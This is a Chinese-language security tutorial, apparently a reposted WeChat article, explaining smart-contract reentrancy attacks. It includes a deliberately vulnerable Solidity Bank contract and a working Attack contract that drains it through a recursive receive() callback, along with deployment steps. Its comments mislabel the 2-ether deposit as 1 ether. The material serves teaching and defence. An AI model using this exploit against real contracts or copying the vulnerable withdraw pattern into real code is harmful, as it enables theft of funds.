重入攻击是智能合约中最常见的一种攻击，攻击者通过合约漏洞（例如fallback函数）循环调用合约，将合约中资产转走或铸造大量代币。
重入攻击举例
与web2.0中的重放攻击导致的逻辑漏洞类似，当用户向合约提现时，正常情况如下
-
用户向合约发起请求提现
-
合约检测该用户是否有足够的余额，有的话进行转账
-
转账成功，用户余额置为0
相信大家已经看出问题了：转账后才将用户的余额置为0，如果我们能做到像web2.0一样在短时间内不断的发包，在置为0前不断的触发转账函数即可做到将大量的钱转走。因此，我们可以写一个恶意合约来完成我们的设想
思路
-
用户发起提现请求
-
合约检测用户余额，向用户提供的提现地址转账
-
通过向恶意合约转账。触发恶意
fallback()/recevie()函数，该函数的内容为请求合约向合约转账。就此，陷入转账的循环，却一直没有到将用户余额置0的那行
/*是 fallback() 还是 receive()?send Ether|是否为空?是 否receive() 存在? fallback()是 否receive() fallback()*/
实例
预备阶段
bank合约
contract Bank {mapping (address => uint256) public balanceOf; // 余额mapping// 存入ether，并更新余额function deposit() external payable {balanceOf[msg.sender] += msg.value;}// 提取msg.sender的全部etherfunction withdraw() external {uint256 balance = balanceOf[msg.sender]; // 获取余额require(balance > 0, "Insufficient balance");// 转账 ether !!! 可能激活恶意合约的fallback/receive函数，有重入风险！(bool success, ) = msg.sender.call{value: balance}("");require(success, "Failed to send Ether");// 更新余额balanceOf[msg.sender] = 0;}// 获取银行合约的余额function getBalance() external view returns (uint256) {return address(this).balance;}
往银行先转个20eth
部署Attack合约
contract Attack {Bank public bank; // Bank合约地址// 初始化Bank合约地址constructor(Bank _bank) {bank = _bank;}// 回调函数，用于重入攻击Bank合约，反复的调用目标的withdraw函数receive() external payable {if (bank.getBalance() >= 1 ether) {bank.withdraw();}}// 攻击函数，调用时 msg.value 设为 1 etherfunction attack() external payable {require(msg.value == 2 ether, "Require 1 Ether to attack");bank.deposit{value: 2 ether}();bank.withdraw();}// 获取本合约的余额function getBalance() external view returns (uint256) {return address(this).balance;}}
开始攻击
因为Attack合约中，构造函数已经初始化了Bank，因此，直接传入Bank地址创建该Attack合约
目前该Attack合约没有钱，调用attack方法的时候记得转2eth过去
调用attack方法后，Attack合约余额变为了22eth，banck余额为0
原文始发于微信公众号（Poker安全）：合约安全：重入攻击
